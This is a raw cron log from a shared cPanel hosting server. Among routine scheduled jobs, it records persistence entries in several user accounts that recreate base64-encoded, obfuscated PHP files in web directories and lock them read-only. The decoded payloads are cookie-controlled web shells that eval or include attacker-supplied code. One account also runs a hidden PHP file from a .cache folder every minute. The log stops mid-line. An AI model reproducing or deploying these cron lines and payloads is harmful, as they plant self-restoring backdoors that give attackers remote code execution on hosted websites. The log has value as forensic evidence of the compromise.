Mar  1 13:21:02 medusa CROND[16163]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:21:02 medusa CROND[16166]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:21:02 medusa CROND[16167]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:21:02 medusa CROND[16168]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:21:02 medusa CROND[16172]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:21:02 medusa CROND[16173]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:21:02 medusa CROND[16175]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:21:02 medusa CROND[16169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:21:02 medusa CROND[16179]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:21:02 medusa CROND[16186]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:21:02 medusa CROND[16178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:22:01 medusa CROND[8653]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:22:01 medusa CROND[8654]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:22:01 medusa CROND[8656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:22:01 medusa CROND[8657]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:22:01 medusa CROND[8658]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:22:01 medusa CROND[8660]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:22:01 medusa CROND[8659]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:22:01 medusa CROND[8665]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:22:01 medusa CROND[8661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:22:01 medusa CROND[8672]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:22:01 medusa CROND[8673]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:22:01 medusa CROND[8674]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:22:01 medusa CROND[8676]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:22:01 medusa CROND[8675]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:23:01 medusa CROND[1072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:23:01 medusa CROND[1073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:23:01 medusa CROND[1075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:23:01 medusa CROND[1074]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:23:01 medusa CROND[1076]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:23:01 medusa CROND[1078]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:23:01 medusa CROND[1079]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:23:01 medusa CROND[1310]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:23:01 medusa CROND[1312]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 